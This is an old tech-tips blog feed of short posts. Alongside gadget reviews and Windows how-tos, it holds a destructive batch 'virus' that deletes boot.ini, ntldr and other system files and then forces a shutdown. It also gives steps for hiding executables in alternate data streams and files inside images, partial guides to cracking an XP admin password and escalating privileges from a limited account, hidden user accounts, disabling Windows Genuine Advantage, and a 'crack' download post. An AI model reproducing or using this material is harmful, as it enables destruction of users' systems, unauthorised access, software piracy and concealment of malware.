TeChNoLoGy TiPs AnD TrIcKs

How to hide text file behind a text file?

noreply@blogger.com (Samrat2008) — Tue, 20 Jan 2009 18:00:00 +0000

Here is an example to hide text file behind a text file.

1> Create a text file using Command Prompt.

Go to Run, type cmd. Change the directory if you want.

Type

echo visit etricks.in for cool computer tricks > etricks.txt:hidden

Here hidden is alternate data stream created along with etricks.txt

2>To enter data using that hidden data stream type notepad etricks.txt:hidden

You will see a popup saying “Cannot find the C:\etricks.txt:Hidden.txt file”. Do you want to create a new file?”.

click yes.

3> Type anything you want and press ctrl+s.

4> Now go to C drive. There won’t be any such file. You will see etricks.txt only.

5> To view data in hidden file go to cmd and type notepad etricks.txt:hidden

and now you can see the data in etricks.txt:hidden.txt

How to hide .exe file behind txt file?

noreply@blogger.com (Samrat2008) — Tue, 20 Jan 2009 17:56:00 +0000

Procedure is quite similar to the above one.

c:\> type c:\windows\notepad.exe > hello.txt:note.exe

Here notepad.exe is copied to hello.txt:note.exe

Now when you copy hello.txt, note.exe is also copied along with it.

Virus That Crashesh Ur Own Pc

noreply@blogger.com (Samrat2008) — Tue, 20 Jan 2009 17:52:00 +0000

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c “A VIRUS IS TAKING OVER c:Drive
save as bat file in notepad!!
This will pop up a message saying OWNED!!
and shut down the computer never to [...]

Hack windows xp passwords

noreply@blogger.com (Samrat2008) — Tue, 20 Jan 2009 17:46:00 +0000

Here are the steps involved to Hack the Window XP Administrator Password .

1. Go to Start –> Run –> Type in CMD

2. You will get a command prompt. Enter these commands the way it is given

3. cd\

4. cd\ windows\system32

5. mkdir temphack

6. copy logon.scr temphack\logon.scr

7. copy cmd.exe temphack\cmd.exe

8. del [...]

Creative Zen X-Fi: A Great Alternative to iPod

noreply@blogger.com (Samrat2008) — Tue, 20 Jan 2009 17:43:00 +0000

Creative’s Zen X-Fi is a wonderful and great digital music player. It provides numerous powerful features than Apple’s freshly revamped iPods.

Creative Zen X-Fi features a good playback sound, expandable music storage via SD Card, superior headphones, also ability to download and stream music from your computer via wireless network, which differentiate Creative Zen X-Fi from its competitor. You can as well stream music from Creative servers (which offer free music and podcast).

It also integrated with Creative’s X-Fi Xtreme Fidelity Audio, which gives a quality sound as it delivered clean, deep, and well-defined audio playback.

Besides from its great features, Creative Zen X-Fi also have some limitation, as it only compatible with Windows XP and Windows Vista (Mac OS X, Linux is not compatible). In addition, its online chat software does not work well. Creative Zen X-Fi also does not work well with third-party speaker system, car stereos or accessories compared to iPod.

Most of people will prefer iPod when they need a new MP3 player. By the way, you can check out the Creative X-Fi as alternative, as it might be the most innovative, and suitable for its price.

Crack into admin acc from limited account(99.99% works)

noreply@blogger.com (Samrat2008) — Tue, 20 Jan 2009 17:38:00 +0000

Go to cmd

type AT (time) /interactive “cmd.exe”

enter time in 24hr format

means if you want to enter 5.00pm then enter 17:00

then a new window of cmd will open at specified time

In new window type net(space)user

press enter

after this u will see some names on ur screen

notedown the name of admin acc

then type

net user (name of admin acc [...]

Intel Core i7 Performance Benchmark

noreply@blogger.com (Samrat2008) — Mon, 19 Jan 2009 08:10:00 +0000

The latest Intel’s processor, Nehalem/Core i7 is expected to launch later this month. There will be two models available, which is 2.66GHz (Core i7-920) and 3.20GHz (Core i7-965) with the price range within $285 and $1000.

This processor architecture will scale from 2-8 processor cores connected with Intel’s QuickPath Technology, which provides faster chip-to-chip communication. The chips have capability to adjust the performance levels based on the usage. In addition, more logic circuit (such as SSE4.2) will be built-in onto the processor for a higher level of integration.

The processor also include the more scalable memory (each processor have its own built-in dedicated memory), which able to do more job simultaneously than the previous Intel’s processor.

The first reviews of Intel i7 microprocessor shows that this processor will easily surpassed the previous microprocessor technology. The reviews cover the Intel’s “SmackOver” motherboard (DX58SO Extreme Series) and Core i7-965.

Click here for the full results of the benchmark.

Yahoo Stopped Yahoo Messenger for Vista Development

noreply@blogger.com (Samrat2008) — Mon, 19 Jan 2009 08:02:00 +0000

I’ve reviewed the Yahoo Messenger for Vista (Beta Version). However, as announced in Yahoo Messenger Blog today (Yahoo! Messenger for Vista version is no longer available), Yahoo has discontinued the development of it as they prefer to focus on deliver and optimize an application program that can runs on all Windows user computers - not only for Windows Vista.

All Yahoo Messenger for Vista users can still use this application. But, Yahoo won’t provide any further updates.

Yahoo also stated that they will continue the experiment of Windows Presentation Foundation (WPF), the graphic layer that powered Windows Vista user interface.

WLAN Advancement - Gigabit Wifi Technology

noreply@blogger.com (Samrat2008) — Mon, 19 Jan 2009 07:58:00 +0000

The IEEE Group putting the finishing touches on the 100mbps 802.11n wireless LAN standard will shortly launch a project for 1gbps WLAN standard.

The project is also focused on 2 frequency bands (60GHZ and below 6GHz). They choose 60 GHZ as it’s currently have lots of unused spectrum and below 6GHz as it’s similar as today WLANs 5GHZ band (802.11a and 11n).

Tushar Moorti, the system architecture director for Broadcom’s WLAN Business Unit says that the basic idea of this project is to change the ‘maximum mandatory mode’ to the speed at least 500mbps on a single link. Besides that, it also needs a device (access point) that can accommodate the very high throughput (VHT) for multiple links, so each link will get speed over 1gbps in average.

The VHT also needs to be backward compatible with the current 802.11 standards, for example the 11s for mesh networking and 11i for security.

This project is expected as the WLAN standards in year 2012 or 2013.

Maximize Gaming Performance - Dell XPS M1730 (Penryn)

noreply@blogger.com (Samrat2008) — Mon, 19 Jan 2009 07:25:00 +0000

The newest Dell XPS M1730 (Penryn) us a aweinspiring piece of technological splendor. A Bold statement yes, but one that’s easily warranted by this masterfully designed gaming laptop, despite its size and heft.

Weight is, in fact, this rig’s only limitation. With its gigantic AC adaptor, the weight of the 17”, wide screen M1730 jumps to almost 14 pounds. Nonetheless, M1730 is a terrific example of where technology is heading. LED lights shine out through the grilles of the front speakers and from underneath the keyboard, the numeric keypad, and the center of the lid. You can also customize the lights with Dell’s Quickset software. If you’re more interested in conserving power or battery life, the intensity of these lights can be lowered or turned off.

The feature set is solid, for the most part, except for the aging DVI-out connector. The 2.6GHz Intel Core 2 Extreme X9000 represents the M1730’s move to a “Penryn” core. The M1730 also includes a built in PhysX card from Ageia - a first for a laptop, as well as nVidia Geforce 8800M GTX SLI graphics cards.

The M1730’s SYSmark 2007 Preview Overall score was slightly behind our comparison system, the Alienware Area-51 ml5x (by 6%). The system’s video-encoding score also came up short. Scores on CineBench R10 and Photoshop tests, on the other hand, were as impressive as those of the Alienware laptop. Results on the World in Conflict and Crysis gaming tests were 1.7 times and 7.2 times as high, respectively, as those of the Alienware. As for battery life, the Dell laptops score of 1 hour 30 minutes on MobileMark 2007 sentences it to a life near power outlet. But for serious gamers, the game experience is what counts the most. Here the M1730 easily takes first price. If you’re looking for an all-around laptop that’s still strong on gaming, however, I’d recommend going for the Alienware system.

Dell XPS M1730 Specification:

- Intel® CoreTM 2 Duo Processor X9000 (2.8GHz, 6MB Cache, 800Mhz FSB)

- 4GB Dual Channel 667MHz DDR2

- NVIDIA® SLITM Dual GeForce® 8800M GTX with 1GB GDDR3 Memory

- 17” 1920×1200 display

- Intel Pro/Wireless 3945 802.11 a/g Mini Card Wireless

- Intel Next-Gen Wireless-N Mini Card

- Dual Layer DVD+/-R, Blu-ray Optical Drive

- 4 USB 2.0

- Dual-link DVI-I (support for 30-inch displays)

- HDMI via DVI adapter

- Firewire (IEEE 1394a)

- RJ45 Ethernet port (10/100/1000)

- S-video with component, composite, S/PDIF support through dongle

- 8-in-1 card reader

- ExpressCard 54 mm slot

- Consumer IR

- Dual headphones, microphone (stereo line-in) and support for 5.1 audio out

- 9-cell 85WHr Li-Ion Battery

- Up to 320GB configured with a single 5400 RPM SATAII hard drive (Raid 0 and 1 is also available)

- Integrated 2.0 MP camera

- Bluetooth® 2.0

Simple CMS Using PHP and FCKEditor

noreply@blogger.com (Samrat2008) — Sat, 17 Jan 2009 20:22:00 +0000

Web Content Management System (Web CMS) is the best way to maximize your efforts. An effective Web CMS system will enable you to update the content in your site simply using admin panel. This means you have full control of your site and updating site can be completed in minutes.

What is FCKEditor?

FCKEditor is a web-based WYSIWYG (What You See Is What You GET) HTML text editor which enable you to edit your website content as much as like using Microsoft Word. Its easy to use and doesn’t need installation on client computer.

FCKEditor is distributed under GPL (General Public License), LGPL (Lesser General Public License), and MPL (Mozilla Public License) source licenses and currently supported ASP.NET, Active-FoxPro, ASP, Lasso, ColdFusion, Perl, PHP, Phyton and Java. FCKEditor is Multi Browser Compatibility, support file uploads and outputs XHTML 1.0. This editor is also customizable, easy to configure, integrated spell checker, and the most important is CSS Support so you can see the real preview of your site before the content is published.

I myself have used FCKEditor for a long time for my client projects in both PHP and ASP version. For me, FCKEditor is easy to use than TinyMCE, openWYSIWYG, TextArea Rich and the other WYSIWYG editor.

Where can I download FCKEditor?

You can download FCKEditor by go to FCKEditor official site: http://www.fckeditor.net . The current latest released is 2.6.3

How can I integrate FCKEditor with PHP?

FCKEditor is simply a replacement for text box or textarea input. Here is the simple steps:

1. Extract the downloaded zip file (from http://www.fckeditor.net) to your web directory.

2. In your php file, include the fckeditor.php file:include(”fckeditor/fckeditor.php”) ;

Note: In this case, fckeditor folder is located at the same directory as my current php file.

3. Put the code below between

$ctrl_name = 'product_long_desc';

$sBasePath = 'fckeditor/';

$oFCKeditor = new FCKeditor($ctrl_name) ;

$oFCKeditor->Height = "300px";

$oFCKeditor->Width = "730px";

$oFCKeditor->BasePath = $sBasePath ;

$oFCKeditor->Value = "" ;

$oFCKeditor->Create() ;

$ctrl_name - Control name

$sBasePath - The location of your fckeditor folder with trailing slash

$oFCKeditor - FCKEditor class instance

$oFCKeditor->Height - define the height of the editor

$oFCKeditor->Width - define the width of the editor

$oFCKeditor->BasePath - fckeditor folder location

$oFCKeditor->Value - Initial value for the control. You can also use PHP variable (for sticky form)

$oFCKeditor->Create() - create and display the editor

4. For the file/image uploader function to work, you need to create the upload folder and configure the PHP connector file.

a. Create the upload folder

To create the upload folder, simply create a new folder named fckdata (optionally you can named it whatever you want) in your web directory and give the write permission (chmod 777) to the folder.

b. Configure the connector file.

The connector file (config.php) is located at:

fckeditor\editor\filemanager\connectors\php\config.php

Open config.php file and set the configuration below:

$Config['Enabled'] = true ;

$Config['UserFilesPath'] = ‘http://www.technologytricks.com/fckdata/’;

$Config['UserFilesAbsolutePath'] = ‘/home/tech/public_html/fckdata/’;

$Config['UserFilesPath'] - absolute url for your upload folder

$Config['UserFilesAbsolutePath'] - absolute directory location to the upload folder.

5. You have successfully integrated FCKEditor in your PHP application.

Result:

Why External Hard Disk is Important?

noreply@blogger.com (Samrat2008) — Sat, 17 Jan 2009 20:17:00 +0000

An external hard disk is a hard disk drive (a lot like the one in your computer) that is placed externally, exterior of the case. You can purchase them pre-made, or purchase a hard disk and an enclosure, and make your own. They came out several sizes, are comparatively cheap, and are well befitted to do several purposes. In this post, I will explain 3 particular purposes for your external hard disk.

For one reason or some other, you might have decided a computer whose storage capability you have overgrown. It perhaps full to capacity with files and software’s, and you require room to expand. So the first good example is to utilize your external hard disk to add expandability to your computer. This is true in case every of your personal computer hard disk bays are full, and particularly if you have a notebook which has only one hard disk bay.

Besides that, you can use your external hard disk as a shared storage drive. You can attach it to a personal computer, set permissions and share-ability, and begin saving, and sharing several files. For instance, you can share and save pictures, MP3s, and video files. By practicing it in this way, you will be able to saves tons of space on your computer’s local hard disk, and you will be able to share files with everybody in your home network.

Additional potential practice for your external hard disk is to save significant documents. For instance, you can scan leaves, works, insurance data, rentals, bank account and credit data, and store it on your external hard disk. You can also take videos of every your valuables, and keep this safety in your external hard disk for later reference. If they are important to you, then they are worthy of being saved in your external hard disk. You can then store this hard disk in a safe placement such as a fire-proof safe, or a safe-deposit box. This will for certain save you tons of headaches in case of theft, or worse yet, a disaster.

There you have it. That’s 3 potential purposes for your external hard disk. They are various, and come in sizes that you will be able to select according to your particular needs. If you’ve many files to save, and then you may get a 1TB hard disk, or greater if you like. Whenever you just have a fewer important documents to save, then maybe a 40 GB hard disk will do. The great thing is that it is you who can select the size you require. It is you who can select what its main purpose will be. And if you require to, you can get more than one external hard disk. That’s what makes it so perfect.

Hide File In Image

noreply@blogger.com (Samrat2008) — Sat, 03 Jan 2009 07:44:00 +0000

1. Gather the file you wish to bind, and the image file, and place them in a folder. I will be using C:\New Folder
-The image will hereby be referred to in all examples as fluffy.jpg
-The file will hereby be referred to in all examples as New Text Document.txt

2. Add the file/files you will be injecting into the image into a WinRar .rar or .zip. From here on this will be referred to as (secret.rar)

3. Open command prompt by going to Start > Run > cmd

4. In Command Prompt, navigate to the folder where your two files are by typing
cd location [ex: cd C:\New Folder]

5. Type [copy /b fluffy.jpg + secret.rar fluffy.jpg] (remove the brackets)

Congrats, as far as anyone viewing is concerned, this file looks like a JPEG, acts like a JPEG, and is a JPEG, yet it now contains your file.

In order to view/extract your file, there are two options that you can take

a) Change the file extension from fluffy.jpg to fluffy.rar, then open and your file is there
b) Leave the file extension as is, right click, open with WinRar and your file is there

Create a Hidden User Account

noreply@blogger.com (Samrat2008) — Sat, 03 Jan 2009 07:37:00 +0000

This tweak allows an account that is normally displayed on the Welcome screen to be hidden from view. To log on using the account it's necessary to use the Log On To Windows dialog box similar to the one in Windows 2000 i.e. press CTRL+ALT+DEL twice.

[Start] [Run] [Regedit]

Go to: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Modify/Create DWORD Value of Data type REG_DWORD Named [Type Name of Account to be Hidden]

Setting for Value Data: [0 = Account is Hidden / 1 = Enabled]

Exit Registry / Reboot

While the account is hidden on the Welcome screen, note that the account profile will be visible in C:\Documents and Settings or wherever user profiles are stored as well as in Local Users and Groups.

How to remove RAVMON Virus from your PC ? Show hidden files and folders not working ? Computer shuts down automatically ?

noreply@blogger.com (Samrat2008) — Sat, 03 Jan 2009 07:22:00 +0000

Is your right click context menu showing some Chinese scripts ? Is your show hidden files and folders not working ? Is your command prompt , Registry Editor and task manager disabled ??

If all these things are happening to your Computer , the reason is that it has got infected by a virus named " RAVMON " .What can this Virus do ??
• Disables task manager , Registry Editor and Command prompt .
• Right click menu shows some Chinese scripts as shown in the figure.
• Computer shutdown automatically and slogs a lot.
• Folder Options disappear
• Show hidden files and folders Option won't work.
With all these things not working , I can understand what can go with you !! I saw this thing on my friends PC . Then only I decided to write the solution for this.So how are you going to remove this ?

Download it and remove the Virus.
Download the RAVMON virus removal Tool
Note : Wait for the page to load and then click start download

One you download the tool , you can see the menu as shown in the figure.Click on the three of them.and press OK.If you are not infected with RAVMON then the tool automatically shows the error message.So download it and enjoy using your PC.

Web Design Tips

noreply@blogger.com (Samrat2008) — Sat, 03 Jan 2009 07:19:00 +0000

While designing web sites it is important to keep in the mind the platform, popularly used web browsers and of course the users. One more important element of website design is search engines compatibility, since eventually the search engines will index the site to present it to the users in a search. How much the search engines give importance to your website depends a lot on the how the website is designed.

These tips will help web designers to justify what is stated above.

1) Use colors carefully such that they are brand appropriate or do justice to whatever the site is providing. This applies to the text, text fonts, background and the content provided.

2) Use tag lines, which highlight the essential features of the site and catch the attention of the readers, since visitors do not read the text fully. Set your content in proper paragraphs and columns for increased readability and appearance.

3) Avoid Flash and client side scripts on main pages. Do not use FRAMES since search engines find it difficult to index pages using the above technologies.

4) Use high-resolution graphics which are light in weight for faster downloading. The images should add to the content and help in describing the sites resources and services. The images should be appropriately placed on the web pages. Use alt text to describe the images properly for photo optimization.

5) For search engine optimization use descriptive title and meat tags since the search engine use these to some extent to index and rank your website.

6) Avoid using gate away or doorway pages which lead to the main page this is spamming and your website may be banned by major search engines. Do not resort to cloaking and over use of keywords.

7) Most important do not copy content from other websites to avoid facing duplicate content penalty. This was the practice widely resorted to earlier. It is wiser to have a content writer in the web development team.

Mobile Mb 3.3.5+crack

noreply@blogger.com (Samrat2008) — Sat, 03 Jan 2009 07:13:00 +0000

Make the most of the latest colour Nokia phones! Many of Nokia's modern handsets contain a full file manager (gallery), enabling you to store photos, ringtones, music and other files supported by your phone. MobiMB is the first software product to enable full access to these features in your phone, and also contains a range of special features for specific handsets, including the ability from your PC to set operator logos, startup and shutdown logos and more (handset-dependent). applications and other file types supported by your phone

Nokia

Nokia 1110/1110B/1110i/1112
Nokia 1112b
Nokia 1600/1600B
Nokia 2112
Nokia 2125/2125i
Nokia 2255
Nokia 2300/2300B/2310
Nokia 2355*/2362*/2365i*/2366i*
Nokia 2367i*
Nokia 2600/2600B
Nokia 2610/2610b/2650/2651
Nokia 2652
Nokia 2855*/2855i*/2865*/2865i*
Nokia 2875*/2875i*
Nokia 3100/3100b/3105/3108
Nokia 3120/3120b/3125/3128
Nokia 3129/3152/3155/3155i
Nokia 3200/3200B/3205/3205i

Sony Ericsson

Sony Ericsson D750i*
Sony Ericsson F500*
Sony Ericsson J300a*/J300c*/J300i*
Sony Ericsson K300a*/K300c*/K300i*
Sony Ericsson K500c*/K500i*/K506c*/K508c*
Sony Ericsson K508i*
Sony Ericsson K600*/K608i*
Sony Ericsson K700c*/K700i*/K750c*/K750i*

Motorola

Motorola A835*
Motorola C350g*/C353*/C359*
Motorola C650*
Motorola E1 ROKR*
Motorola E398*
Motorola E550*
Motorola E680*/E680i*

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Password protect folders in windows xp

noreply@blogger.com (Samrat2008) — Sat, 03 Jan 2009 06:52:00 +0000

Do you share a computer with other users and want some extra security on your folders? There are two ways to password protect a folder built into Windows XP (for other Windows flavors, there are some freeware/shareware programs out there).

#1. If you have a log in password for your account, this can be used to protect folders from other users. Your hard drive must be formatted using NTFS (which it probably is unless you're dual booting with another operating system). Here's what to do...

Right-click the folder that you want to make private and choose "Properties" (or Alt+Double-click). Go to the "Sharing" tab and check the "Make this folder private" box.

Click Apply . If you do not have a password on your account, a box will pop up asking if you want to assign a password. This must be done if you want to make the folder private, so click Yes . You will need to use your password to log on to your computer from then on.

Type in a password then confirm it. Click the "Create Password" button then close the Password window.

Click OK in the Properties dialog box.

Now anyone else logged on to your computer can't access that file without knowing your password.

#2. If the Folder is Zipped you can give it a unique password.

Just double-click the zipped folder. In the top menu select File then click "Add a Password".

Type a password into the Password box. Then again in the "Confirm Password" box.

Now, you are the only person who can access files in this folder. The folder can be opened allowing the files to be seen, but you are the only one who can access them.

Don't you feel more secure now?

Have you locked your keys in the car?

noreply@blogger.com (Samrat2008) — Sat, 03 Jan 2009 06:43:00 +0000

This may come in handy someday. Good reason to own a cell phone:

If you lock your keys in the car and the spare keys are at home, call someone at home on their cell phone from your cell phone.Hold your cell phone about a foot from your car door and have the person at your home press the unlock button, holding it near the mobile phone on their end. Your car will unlock. Saves someone from having to drive your keys to you. Distance is no object. You could be hundreds of miles away, and if you can reach someone who has the other "remote" for your car, you can unlock the doors (or the trunk).

*It works fine! We tried it out and it unlocked our car over a cell phone!"*

NOKIA Series Universal Codes

noreply@blogger.com (Samrat2008) — Sat, 03 Jan 2009 06:38:00 +0000

These Nokia codes will work on most Nokia Mobile Phones

(1) *3370# Activate Enhanced Full Rate Codec (EFR) - Your phone uses the best sound quality but talk time is reduced by approx. 5%

(2) #3370# Deactivate Enhanced Full Rate Codec (EFR) OR *3370# ( Favourite )

(3) *#4720# Activate Half Rate Codec - Your phone uses a lower quality sound but you should gain approx 30% more Talk Time.

(4) *#4720# Deactivate Half Rate Codec.

5) *#0000# Displays your phones software version, 1st Line : Software Version, 2nd Line : Software Release Date, 3rd Line : Compression Type. ( Favourite )

(6) *#9999# Phones software version if *#0000# does not work.

(7) *#06# For checking the International Mobile Equipment Identity (IMEI Number). ( Favourite).

(8) #pw+1234567890+1# Provider Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols).

(9) #pw+1234567890+2# Network Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols).

(10) #pw+1234567890+3# Country Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols).

(11) #pw+1234567890+4# SIM Card Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols).

(12) *#147# (vodafone) this lets you know who called you last.

(13) *#1471# Last call (Only vodofone).

(14) *#21# Allows you to check the number that "All Calls" are diverted to.

(15) *#2640# Displays security code in use.

(16) *#30# Lets you see the private number.

(17) *#43# Allows you to check the "Call Waiting" status of your phone.

(18) *#61# Allows you to check the number that "On No Reply" calls are diverted to.

(19) *#62# Allows you to check the number that "Divert If Unreachable (no service)" calls are diverted to.

(20) *#67# Allows you to check the number that "On Busy Calls" are diverted to.

(21) *#67705646# Removes operator logo on 3310 & 3330.

(22) *#73# Reset phone timers and game scores.

(23) *#746025625# Displays the SIM Clock status, if your phone supports this power saving feature "SIM Clock Stop Allowed", it means you will get the best standby time possible.

24) *#7760# Manufactures code.

(25) *#7780# Restore factory settings.

26) *#8110# Software version for the nokia 8110.

(27) *#92702689# Displays -
1.Serial Number,
2.Date Made,
3.Purchase Date,
4.Date of last repair (0000 for no repairs),
5.Transfer User Data. To exit this mode you need to switch your phone off then on again. (Favourite )

(28) *#94870345123456789# Deactivate the PWM-Mem.

(29) **21*number# Turn on "All Calls" diverting to the phone number entered.

(30) **61*number# Turn on "No Reply" diverting to the phone number entered.

(31) **67*number# Turn on "On Busy" diverting to the phone number entered.

(32) 12345 This is the default security code.

Convert docx and other Office 2007 files to HTML with Gmail

noreply@blogger.com (Samrat2008) — Wed, 31 Dec 2008 20:51:00 +0000

Use Gmail as Office 2007 to HTML converter

You need no hacks to read those Word 2007 files (docx) files without Office 2007.

Just mail all the Office 2007 document(s) to your own Gmail account and click the View as HTML link near the email attachment to convert those files into text / HTML format that can be viewed in the web browser itself.

Gmail retains Docx formatting in HTML

This easy conversion method retains the document formatting (no images though) and works with docx, pptx and xlsx.

10 Tips For Google Image Search

noreply@blogger.com (Samrat2008) — Wed, 31 Dec 2008 20:48:00 +0000

Google Image Search could be used in many ways.

1. If you want to know if a person is a man or a woman and the name doesn't help, do a search for the name.

2. If you don't know the meaning of a word, the pictures may help you.

3. A better search for Flickr. Google uses information from other sites that link to Flickr photos, so you may find Google search better.

4. Find what's interesting about a site, by looking at the pictures included. For example: wired.com.

5. Find a new wallpaper for your desktop by restricting your search to large images. You can automate this using an application.

6. Find random personal pictures, using standard file names from digital cameras.

7. Type the name of a painter and you can take an art class.

8. Install a Greasemonkey script so you can view the original version of the image directly by clicking on the thumbnail.

9. Find the color of a word. "Word Color is a windows program that uses Google Image Search to determine the color of a word or string of words. It goes out there, retrieves the top 9 images and loops through all pixels, calculating the average hue, which is later converted to a color."

10. If you want to grab search results, GoogleGrab is a tool that downloads images from Google Image Search. It even supports batch search

How To Disable Windows Genuine Advantage Notification in 3 Simple Steps

noreply@blogger.com (Samrat2008) — Wed, 31 Dec 2008 20:45:00 +0000

Following three simple steps now you can get rid of the pesky and sometimes buggy Windows Genuine Advantage (WGA) notifications:

1. Reboot Windows in safe mode (hold the f8 key while booting and you will get the option to boot in safe mode) and then:

2. Open Registry Editor (regedit.exe) and search for wgalogon folder and delete it. You should backup up the registry beforehand, in case somethiong goes wrong.

3. In your windows directory search for files wga* and delete them.

You are done!

Now reboot back normally and continue your work. Windows Genuine Advantage will not bother you anymore.

Warning: Use at your own risk. Backup everything before you do.

How to mount an ISO image in Windows Vista

noreply@blogger.com (Samrat2008) — Wed, 31 Dec 2008 20:37:00 +0000

The freeware utility from Microsoft to mount ISO Images doesn't work in Windows Vista. Thankfully there's another utility that does.

The utility that we will use is called Virtual Clone Drive. This utility will let you mount .ISO, .CCD, .DVD, .IMG, .UDF and .BIN files. Download the utility and start the setup process.

Select Yes or OK at the hardware prompt and continue. You might have to restart your computer. Now you should be able to mount any ISO image by just double-clicking on the file. Note: If you are going to reinstall this utility, make sure you uninstall it first, or you'll BSOD yourself repeatedly.

This utility does not work on Windows Vista 64 bit edition.

Alternatives

• Virtual CD-ROM (Microsoft) - This utility does not work in Windows Vista

• MagicDisk - This is a nice, free utility, but it isn't very easy to install in Vista64.

• Alcohol 52% - Free version of Alcohol 120, but it bundles a browser toolbar that they claim isn't spyware. It's unacceptable.

• Daemon Tools - Well known tool, but the latest version installs spyware on your computer, and the old version doesn't work in Vista.

At this point, Virtual CloneDrive is by far my favorite free utility.

Download Virtual CloneDrive from slysoft.com

How To Uninstall GrooveMonitor.exe

noreply@blogger.com (Samrat2008) — Wed, 31 Dec 2008 20:26:00 +0000

GrooveMonitor is a service utility that tracks groove behavour and creates reports for error reporting to MS (what else does it report?). It loads on startup. It gets installed when you install Office 2007. However it doesn't get uninstalled when you uninstall Office 2007. GrooveMonitor starts upon Windows startup (via registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run).

To remove GrooveMonitor from your machine you have to go to Control Panel and then select Add/Remove programs. GrooveMonitor is one of the displayed applications. Uninstall it from there. That should do it for any normal windows program. Not surprisingly Microsoft himself often violates this basic principle (which surprisingly would give you more control over their crappy [pardon my French] software), and GrooveMonitor will still load on startup.

You can however use msconfig to prevent it from coming up on Windows startup.
1. Go to Start menu and click Run
2. Type msconfig and press Enter.
3. Go to Startup tab and then uncheck any reference to "groovemonitor"
4. Reboot

Note:
Some malware may also camouflage themselves as GrooveMonitor.exe, particularly if they are located in c:\windows or c:\windows\system32 folder.

GrooveMonitor is currently owned by Microsoft Corporation.